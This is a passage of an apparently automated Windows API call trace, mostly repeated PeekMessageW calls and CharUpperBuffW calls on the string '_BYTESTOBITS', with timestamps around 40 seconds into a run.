lpMsg=0xbf60cff2f0) returned 0 [0039.978] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0039.978] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0039.978] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0039.978] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0039.978] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0039.978] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0039.978] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0039.978] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0039.978] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0039.978] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0039.979] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0039.979] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0039.979] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0039.979] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0039.979] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0039.979] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0039.979] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0039.979] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0039.979] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0039.979] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0039.979] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0039.979] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0039.979] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0039.979] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0039.979] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0039.979] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0039.979] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0039.979] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0039.979] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0039.979] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0039.979] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0039.979] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0039.979] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0039.979] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0039.979] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0039.979] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0039.979] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0039.979] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0039.980] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0039.983] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0039.983] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0039.983] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0039.983] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0039.983] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0039.983] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0039.984] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0039.984] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0039.984] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0039.984] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0039.984] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0039.984] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0039.984] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0039.984] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0039.984] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0039.984] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0039.985] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0039.985] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0039.985] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0039.985] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0039.985] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0039.985] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0039.985] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0039.985] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0039.985] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0039.986] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0039.986] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0039.986] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0039.986] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0039.986] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0039.986] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0039.986] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0039.986] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0039.986] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0039.986] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0039.987] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0039.987] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0039.987] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0039.987] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0039.987] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0039.987] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0039.987] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0039.987] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0039.988] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0039.988] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0039.988] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0039.988] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0039.988] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0039.988] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0039.988] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0039.988] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0039.988] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0039.989] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0039.989] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0039.989] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0039.989] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0039.989] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0039.989] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0039.989] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0039.989] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0039.990] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0039.990] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0039.990] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0039.990] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0039.990] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0039.990] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0039.991] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0039.991] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0039.991] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0039.991] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0039.991] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0039.991] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0039.991] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0039.991] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0039.991] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0039.992] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0039.992] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0039.992] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0039.992] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0039.992] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0039.992] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0039.992] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0039.992] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0039.992] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0039.993] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0039.993] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0039.993] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0039.993] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0039.993] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0039.993] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0039.993] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0039.993] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0039.993] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0039.994] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0039.994] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0039.994] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0039.994] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0039.994] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0039.994] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0039.994] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0039.994] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0039.994] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0039.994] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0039.995] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0039.995] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0039.995] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0039.995] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0039.995] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0039.995] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0039.995] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0039.995] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0039.995] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0039.996] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0039.996] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0039.996] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0039.996] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0039.996] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0039.996] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0039.996] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0039.996] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0039.996] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0039.996] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0039.997] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0039.997] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0039.997] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0039.997] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0039.997] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0039.997] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0039.998] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0039.998] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0039.998] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0039.998] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0039.999] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0039.999] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0039.999] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0039.999] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0039.999] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0039.999] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.000] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.000] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.000] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.000] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.000] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.000] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.000] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.001] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.001] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.001] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.001] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.001] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.001] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.001] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.001] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.002] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.002] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.002] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.002] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.002] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.002] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.002] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.002] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0040.002] CharUpperBuffW (in: 